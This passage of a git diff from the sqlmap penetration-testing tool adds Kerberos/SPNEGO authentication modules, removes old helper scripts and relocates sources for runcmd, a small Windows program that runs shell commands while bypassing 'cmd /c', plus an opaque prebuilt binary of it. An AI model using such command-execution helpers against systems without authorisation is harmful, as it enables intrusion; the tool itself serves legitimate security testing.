len(data) > self.blocksize: + lastlen = len(data) % self.blocksize or self.blocksize + ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen] + return ct + + def _basicDecrypt(self, key, data): + aes = AES(key) + if len(data) == self.blocksize: + return aes.decryptBlock(data) + + blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)] + lastlen = len(blocks[-1]) + prev = bytearray(self.blocksize) + out = bytearray() + for block in blocks[:-2]: + out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev)) + prev = block + + decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2]))) + lastPlain = _xor(decrypted[:lastlen], blocks[-1]) + omitted = decrypted[lastlen:] + secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev) + return bytes(out) + secondLast + lastPlain + + # --- authenticated encryption (RFC 3961 section 5.3) -------------------------------------------- + def _keys(self, key, usage): + ke = self.dk(key, struct.pack(">IB", usage, 0xAA)) + ki = self.dk(key, struct.pack(">IB", usage, 0x55)) + return ke, ki + + def encrypt(self, key, usage, plaintext, confounder=None): + ke, ki = self._keys(key, usage) + if confounder is None: + confounder = os.urandom(self.blocksize) + basic = confounder + plaintext + return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize] + + def decrypt(self, key, usage, ciphertext): + if len(ciphertext) < self.blocksize + self.macsize: # confounder block + HMAC; guards a hostile short reply + raise ValueError("Kerberos ciphertext too short") + ke, ki = self._keys(key, usage) + ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:] + basic = self._basicDecrypt(ke, ct) + if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]): + raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)") + return basic[self.blocksize:] + +def _rc4(key, data): + """RC4 (ARCFOUR) stream cipher.""" + + key, data = bytearray(key), bytearray(data) + if not key: + raise ValueError("RC4 requires a non-empty key") + s = list(range(256)) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + + out = bytearray(len(data)) + i = j = 0 + for n in range(len(data)): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff] + return bytes(out) + +class RC4Enctype(object): + """rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the + salt and iteration count are unused. Legacy, but still enabled in many AD environments.""" + + keysize = 16 + cksumtype = -138 # hmac-md5 + + def string2key(self, password, salt=None, iterations=None): + # the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first) + if isinstance(password, bytes): + password = password.decode("utf-8") + return _md4(password.encode("utf-16-le")) + + @staticmethod + def _usage(usage): + # RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values (per the + # published errata, usage 9 is NOT folded into 8 - only 3->8 and 23->13 apply) + return struct.pack(" enctype implementation +ENCTYPES = { + 17: AESEnctype(16), + 18: AESEnctype(32), + 23: RC4Enctype(), +} diff --git a/extra/kerberos/der.py b/extra/kerberos/der.py new file mode 100644 index 00000000000..650c78fb799 --- /dev/null +++ b/extra/kerberos/der.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses: +# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT +# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number +# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x. + +# universal tag bytes +INTEGER = 0x02 +BIT_STRING = 0x03 +OCTET_STRING = 0x04 +GENERAL_STRING = 0x1b +GENERALIZED_TIME = 0x18 +SEQUENCE = 0x30 # 0x10 | constructed(0x20) + +def _encodeLength(length): + if length < 0x80: + return bytearray([length]) + out = bytearray() + while length: + out.insert(0, length & 0xff) + length >>= 8 + return bytearray([0x80 | len(out)]) + out + +def _tlv(tag, value): + value = bytearray(value) + return bytes(bytearray([tag]) + _encodeLength(len(value)) + value) + +# ---- context / application tags (EXPLICIT) -------------------------------------------------------- +def contextTag(number): + return 0x80 | 0x20 | number # context-specific, constructed + +def applicationTag(number): + return 0x40 | 0x20 | number # application, constructed + +def tagged(number, innerTLV): + """EXPLICIT [n] wrapper around an already-encoded inner TLV.""" + + return _tlv(contextTag(number), innerTLV) + +def application(number, innerTLV): + """[APPLICATION n] wrapper around an already-encoded inner TLV.""" + + return _tlv(applicationTag(number), innerTLV) + +# ---- primitive encoders --------------------------------------------------------------------------- +def integer(value): + content = bytearray() + if value == 0: + content = bytearray([0]) + elif value > 0: + n = value + while n: + content.insert(0, n & 0xff) + n >>= 8 + if content[0] & 0x80: # keep the sign bit clear for a positive value + content.insert(0, 0x00) + else: + n = value + while True: + content.insert(0, n & 0xff) + n >>= 8 + if n == -1 and (content[0] & 0x80): + break + return _tlv(INTEGER, content) + +def octetString(value): + return _tlv(OCTET_STRING, value) + +def generalString(value): + return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8")) + +def generalizedTime(value): + """'value' is a 'YYYYMMDDHHMMSSZ' UTC string.""" + + return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii")) + +def bitString(value, unusedBits=0): + return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value)) + +def sequence(*elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +def sequenceOf(elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +# ---- decoding ------------------------------------------------------------------------------------- +def peel(data, offset=0): + """Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on + truncated or indefinite-length input (the data may come from the network, so fail predictably).""" + + data = bytearray(data) + if offset + 2 > len(data): + raise ValueError("truncated DER header") + tag = data[offset] + first = data[offset + 1] + offset += 2 + if first < 0x80: + length = first + elif first == 0x80: + raise ValueError("indefinite-length DER is not permitted") + else: + count = first & 0x7f + if offset + count > len(data): + raise ValueError("truncated DER length") + length = 0 + for _ in range(count): + length = (length << 8) | data[offset] + offset += 1 + if offset + length > len(data): + raise ValueError("truncated DER content") + return tag, data[offset:offset + length], offset + length + +def children(content): + """Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray).""" + + content = bytearray(content) + offset = 0 + out = [] + while offset < len(content): + tag, inner, offset = peel(content, offset) + out.append((tag, inner)) + return out + +def decodeInteger(content): + content = bytearray(content) + if not content: + return 0 + value = 0 + for b in content: + value = (value << 8) | b + if content[0] & 0x80: # negative (two's complement) + value -= 1 << (8 * len(content)) + return value + +def decodeGeneralString(content): + return bytes(bytearray(content)).decode("utf-8", "replace") diff --git a/extra/kerberos/discovery.py b/extra/kerberos/discovery.py new file mode 100644 index 00000000000..bed96a63769 --- /dev/null +++ b/extra/kerberos/discovery.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit +# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local +# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.), then the realm name +# itself as a host. Returns (host, port). Python 2.7 / 3.x. + +import os +import re +import socket +import struct + +DEFAULT_KDC_PORT = 88 +_DNS_TIMEOUT = 3 +_SRV_TYPE = 33 +_IN_CLASS = 1 + +def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT): + value = value.strip() + if value.startswith("["): # [IPv6] or [IPv6]:port + host, _, rest = value[1:].partition("]") + port = rest[1:] if rest.startswith(":") else "" + elif value.count(":") == 1: # host:port (a single colon rules out bare IPv6) + host, _, port = value.partition(":") + else: # bare host or bare IPv6 literal + host, port = value, "" + return host, (int(port) if port.isdigit() else defaultPort) + +# ---- krb5.conf -------------------------------------------------------------------------------- +def _fromKrb5Conf(realm): + path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf" + try: + with open(path) as f: + content = f.read() + except (IOError, OSError): + return None + + # scope the search to the [realms] section itself: '[capaths]' uses the identical + # 'realm = { ... }' syntax, so a same-named capath block must not shadow the real one + section = re.search(r"(?im)^[ \t]*\[realms\][ \t]*$", content) + if not section: + return None + nextSection = re.search(r"(?m)^[ \t]*\[", content[section.end():]) + sectionEnd = section.end() + nextSection.start() if nextSection else len(content) + realms = content[section.end():sectionEnd] + + header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), realms) + if not header: + return None + start = header.end() # brace-match so a nested '{ }' block cannot truncate us + depth, i = 1, start + while i < len(realms) and depth > 0: + if realms[i] == "{": + depth += 1 + elif realms[i] == "}": + depth -= 1 + i += 1 + block = realms[start:i - 1] + kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block) + return kdc.group(1) if kdc else None + +# ---- DNS SRV (_kerberos._tcp.) --------------------------------------------------------- +def _nameservers(): + servers = [] + try: + with open("/etc/resolv.conf") as f: + for line in f: + parts = line.split() + if len(parts) >= 2 and parts[0] == "nameserver": + servers.append(parts[1]) + except (IOError, OSError): + pass + return servers + +def _encodeName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + +_MAX_NAME_JUMPS = 64 # guards against compression-pointer cycles + +def _skipName(data, offset): + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + return offset + 1 + if length & 0xc0 == 0xc0: # compression pointer ends the name + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + return offset + 2 + offset += 1 + length + +def _readName(data, offset): + labels = [] + end = None + jumps = 0 + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + offset += 1 + break + if length & 0xc0 == 0xc0: # follow compression pointer (bounded, cycle-safe) + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + jumps += 1 + if jumps > _MAX_NAME_JUMPS: + raise ValueError("too many DNS compression jumps") + if end is None: + end = offset + 2 + offset = ((length & 0x3f) << 8) | data[offset + 1] + continue + if offset + 1 + length > len(data): + raise ValueError("truncated DNS label") + labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace")) + offset += 1 + length + return ".".join(labels), (end if end is not None else offset) + +def parseSrv(response): + """Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port, + target), ...]. Malformed input yields an empty list rather than raising.""" + + data = bytearray(response) + if len(data) < 12: + return [] + try: + qdcount, ancount = struct.unpack(">HH", bytes(data[4:8])) + offset = 12 + for _ in range(qdcount): + offset = _skipName(data, offset) + 4 # + qtype/qclass + records = [] + for _ in range(ancount): + offset = _skipName(data, offset) + if offset + 10 > len(data): + break + rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10])) + offset += 10 + if offset + rdlength > len(data): + break + if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6: + priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6])) + target = _readName(data, offset + 6)[0].rstrip(".") + if target: + records.append((priority, weight, port, target)) + offset += rdlength + return records + except (ValueError, struct.error, IndexError): + return [] + +def _fromDnsSrv(realm): + queryId = os.urandom(2) + query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) + + _encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS)) + for server in _nameservers(): + family = socket.AF_INET6 if ":" in server else socket.AF_INET + sock = socket.socket(family, socket.SOCK_DGRAM) + sock.settimeout(_DNS_TIMEOUT) + try: + sock.connect((server, 53)) # connect() so the kernel drops replies from any other source + sock.send(query) + response = sock.recv(4096) + except socket.error: + continue + finally: + sock.close() + if len(response) < 2 or response[:2] != queryId: # ignore stray / spoofed replies + continue + records = parseSrv(response) + if records: + best = min(records, key=lambda r: (r[0], -r[1])) # lowest priority, then highest weight + return best[3], best[2] + return None + +def discoverKdc(realm): + """Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host.""" + + override = os.environ.get("SQLMAP_KERBEROS_KDC") + if override: + return _splitHostPort(override) + + configured = _fromKrb5Conf(realm) + if configured: + return _splitHostPort(configured) + + fromDns = _fromDnsSrv(realm) + if fromDns: + return fromDns + + return realm.lower(), DEFAULT_KDC_PORT diff --git a/extra/kerberos/spnego.py b/extra/kerberos/spnego.py new file mode 100644 index 00000000000..e4285c45a80 --- /dev/null +++ b/extra/kerberos/spnego.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried +# by the HTTP "Authorization: Negotiate " header. Only the initiator's NegTokenInit is built +# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants. +# Python 2.7 / 3.x. + +from extra.kerberos import der + +# fully-encoded OBJECT IDENTIFIER TLVs +KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02])) # 1.2.840.113554.1.2.2 +SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])) # 1.3.6.1.5.5.2 + +TOK_ID_AP_REQ = b"\x01\x00" # GSS Kerberos token id for KRB_AP_REQ + +def gssApReq(apReq): + """GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }.""" + + return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq) + +def negTokenInit(apReq): + """SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech).""" + + inner = der.sequence( + der.tagged(0, der.sequenceOf([KRB5_OID])), # mechTypes + der.tagged(2, der.octetString(gssApReq(apReq))), # mechToken + ) + return der.application(0, SPNEGO_OID + der.tagged(0, inner)) diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py deleted file mode 100644 index 67d7ee6aabd..00000000000 --- a/extra/mssqlsig/update.py +++ /dev/null @@ -1,137 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import codecs -import os -import re -import urllib2 -import urlparse - -from xml.dom.minidom import Document - -# Path to the XML file with signatures -MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml") - -# Url to update Microsoft SQL Server XML versions file from -MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" - -def updateMSSQLXML(): - if not os.path.exists(MSSQL_XML): - errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML - print errMsg - return - - infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL - print infoMsg - - try: - req = urllib2.Request(MSSQL_VERSIONS_URL) - f = urllib2.urlopen(req) - mssqlVersionsHtmlString = f.read() - f.close() - except urllib2.URLError: - __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) - __mssqlHostname = __mssqlPath[1] - - warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname - warnMsg += " check your Internet connection and retry" - print warnMsg - - return - - releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M) - releasesCount = len(releases) - - # Create the minidom document - doc = Document() - - # Create the base element - root = doc.createElement("root") - doc.appendChild(root) - - for index in xrange(0, releasesCount): - release = releases[index] - - # Skip Microsoft SQL Server 6.5 because the HTML - # table is in another format - if release == "6.5": - continue - - # Create the base element - signatures = doc.createElement("signatures") - signatures.setAttribute("release", release) - root.appendChild(signatures) - - startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) - - if index == releasesCount - 1: - stopIdx = len(mssqlVersionsHtmlString) - else: - stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) - - mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] - servicepackVersion = re.findall("[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) - - for servicePack, version in servicepackVersion: - if servicePack.startswith(" "): - servicePack = servicePack[1:] - if "/" in servicePack: - servicePack = servicePack[:servicePack.index("/")] - if "(" in servicePack: - servicePack = servicePack[:servicePack.index("(")] - if "-" in servicePack: - servicePack = servicePack[:servicePack.index("-")] - if "*" in servicePack: - servicePack = servicePack[:servicePack.index("*")] - if servicePack.startswith("+"): - servicePack = "0%s" % servicePack - - servicePack = servicePack.replace("\t", " ") - servicePack = servicePack.replace("No SP", "0") - servicePack = servicePack.replace("RTM", "0") - servicePack = servicePack.replace("TM", "0") - servicePack = servicePack.replace("SP", "") - servicePack = servicePack.replace("Service Pack", "") - servicePack = servicePack.replace(" element - signature = doc.createElement("signature") - signatures.appendChild(signature) - - # Create a element - versionElement = doc.createElement("version") - signature.appendChild(versionElement) - - # Give the elemenet some text - versionText = doc.createTextNode(version) - versionElement.appendChild(versionText) - - # Create a element - servicepackElement = doc.createElement("servicepack") - signature.appendChild(servicepackElement) - - # Give the elemenet some text - servicepackText = doc.createTextNode(servicePack) - servicepackElement.appendChild(servicepackText) - - # Save our newly created XML to the signatures file - mssqlXml = codecs.open(MSSQL_XML, "w", "utf8") - doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") - mssqlXml.close() - - infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML - print infoMsg - -if __name__ == "__main__": - updateMSSQLXML() diff --git a/extra/runcmd/README.txt b/extra/runcmd/README.txt index 717800aa418..4d4caa8f8eb 100644 --- a/extra/runcmd/README.txt +++ b/extra/runcmd/README.txt @@ -1,3 +1,3 @@ -Files in this folder can be used to compile auxiliary program that can -be used for running command prompt commands skipping standard "cmd /c" way. -They are licensed under the terms of the GNU Lesser General Public License. +runcmd.exe is an auxiliary program that can be used for running command prompt +commands skipping standard "cmd /c" way. It is licensed under the terms of the +GNU Lesser General Public License. diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_ new file mode 100644 index 00000000000..20cfaa497a4 Binary files /dev/null and b/extra/runcmd/runcmd.exe_ differ diff --git a/extra/runcmd/windows/README.txt b/extra/runcmd/src/README.txt similarity index 100% rename from extra/runcmd/windows/README.txt rename to extra/runcmd/src/README.txt diff --git a/extra/runcmd/windows/runcmd.sln b/extra/runcmd/src/runcmd.sln similarity index 97% rename from extra/runcmd/windows/runcmd.sln rename to extra/runcmd/src/runcmd.sln index 0770582d092..a70c648d0dc 100644 --- a/extra/runcmd/windows/runcmd.sln +++ b/extra/runcmd/src/runcmd.sln @@ -1,20 +1,20 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/extra/runcmd/windows/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp similarity index 96% rename from extra/runcmd/windows/runcmd/runcmd.cpp rename to extra/runcmd/src/runcmd/runcmd.cpp index ab40a0c218e..743f2a279ef 100644 --- a/extra/runcmd/windows/runcmd/runcmd.cpp +++ b/extra/runcmd/src/runcmd/runcmd.cpp @@ -1,46 +1,46 @@ -/* - runcmd - a program for running command prompt commands - Copyright (C) 2010 Miroslav Stampar - email: miroslav.stampar@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include -#include -#include -#include "stdafx.h" -#include - -using namespace std; -int main(int argc, char* argv[]) -{ - FILE *fp; - string cmd; - - for( int count = 1; count < argc; count++ ) - cmd += " " + string(argv[count]); - - fp = _popen(cmd.c_str(), "r"); - - if (fp != NULL) { - char buffer[BUFSIZ]; - - while (fgets(buffer, sizeof buffer, fp) != NULL) - fputs(buffer, stdout); - } - - return 0; -} +/* + runcmd - a program for running command prompt commands + Copyright (C) 2010 Miroslav Stampar + email: miroslav.stampar@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include +#include +#include +#include "stdafx.h" +#include + +using namespace std; +int main(int argc, char* argv[]) +{ + FILE *fp; + string cmd; + + for( int count = 1; count < argc; count++ ) + cmd += " " + string(argv[count]); + + fp = _popen(cmd.c_str(), "r"); + + if (fp != NULL) { + char buffer[BUFSIZ]; + + while (fgets(buffer, sizeof buffer, fp) != NULL) + fputs(buffer, stdout); + } + + return 0; +} diff --git a/extra/runcmd/windows/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj similarity index 95% rename from extra/runcmd/windows/runcmd/runcmd.vcproj rename to extra/runcmd/src/runcmd/runcmd.vcproj index 928c71606b0..157e33863d9 100644 --- a/extra/runcmd/windows/runcmd/runcmd.vcproj +++ b/extra/runcmd/src/runcmd/runcmd.vcproj @@ -1,225 +1,225 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/extra/runcmd/windows/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp similarity index 97% rename from extra/runcmd/windows/runcmd/stdafx.cpp rename to extra/runcmd/src/runcmd/stdafx.cpp index f5e349538ca..e191a9156a4 100644 --- a/extra/runcmd/windows/runcmd/stdafx.cpp +++ b/extra/runcmd/src/runcmd/stdafx.cpp @@ -1,8 +1,8 @@ -// stdafx.cpp : source file that includes just the standard includes -// runcmd.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file +// stdafx.cpp : source file that includes just the standard includes +// runcmd.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/extra/runcmd/windows/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h similarity index 96% rename from extra/runcmd/windows/runcmd/stdafx.h rename to extra/runcmd/src/runcmd/stdafx.h index bdabbfb48e9..0be0e6ffee0 100644 --- a/extra/runcmd/windows/runcmd/stdafx.h +++ b/extra/runcmd/src/runcmd/stdafx.h @@ -1,17 +1,17 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. -#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. -#endif - -#include -#include - - - -// TODO: reference additional headers your program requires here +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. +#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. +#endif + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/extra/safe2bin/README.txt b/extra/safe2bin/README.txt deleted file mode 100644 index 06400d6ea98..00000000000 --- a/extra/safe2bin/README.txt +++ /dev/null @@ -1,17 +0,0 @@ -To use safe2bin.py you need to pass it the original file, -and optionally the output file name. - -Example: - -$ python ./safe2bin.py -i output.txt -o output.txt.bin - -This will create an binary decoded file output.txt.bin. For example, -if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will -be decoded to: " test 234 -newline" - -If you skip the output file name, general rule is that the binary -file names are suffixed with the string '.bin'. So, that means that -the upper example can also be written in the following form: - -$ python ./safe2bin.py -i output.txt diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py deleted file mode 100644 index 8d7bcd8f0a1..00000000000 --- a/extra/safe2bin/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py deleted file mode 100644 index c91620ec60e..00000000000 --- a/extra/safe2bin/safe2bin.py +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/env python - -""" -safe2bin.py - Simple safe(hex) to binary format converter - -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import binascii -import re -import string -import os -import sys - -from optparse import OptionError -from optparse import OptionParser - -# Regex used for recognition of hex encoded characters -HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" - -# Regex used for recognition of representation for hex encoded invalid unicode characters -INVALID_UNICODE_CHAR_REGEX = r"(?P\\\?[0-9A-Fa-f]{2})" - -# Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) -SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" - -# Characters that don't need to be safe encoded -SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', ''))) - -# String used for temporary marking of slash characters -SLASH_MARKER = "__SLASH__" - -def safecharencode(value): - """ - Returns safe representation of a given basestring value - - >>> safecharencode(u'test123') - u'test123' - >>> safecharencode(u'test\x01\x02\xff') - u'test\\01\\02\\03\\ff' - """ - - retVal = value - - if isinstance(value, basestring): - if any(_ not in SAFE_CHARS for _ in value): - retVal = retVal.replace('\\', SLASH_MARKER) - - for char in SAFE_ENCODE_SLASH_REPLACEMENTS: - retVal = retVal.replace(char, repr(char).strip('\'')) - - retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) - - retVal = retVal.replace(SLASH_MARKER, "\\\\") - elif isinstance(value, list): - for i in xrange(len(value)): - retVal[i] = safecharencode(value[i]) - - return retVal - -def safechardecode(value, binary=False): - """ - Reverse function to safecharencode - """ - - retVal = value - if isinstance(value, basestring): - retVal = retVal.replace('\\\\', SLASH_MARKER) - - while True: - match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) - if match: - retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) - else: - break - - for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: - retVal = retVal.replace(repr(char).strip('\''), char) - - retVal = retVal.replace(SLASH_MARKER, '\\') - - if binary: - if isinstance(retVal, unicode): - retVal = 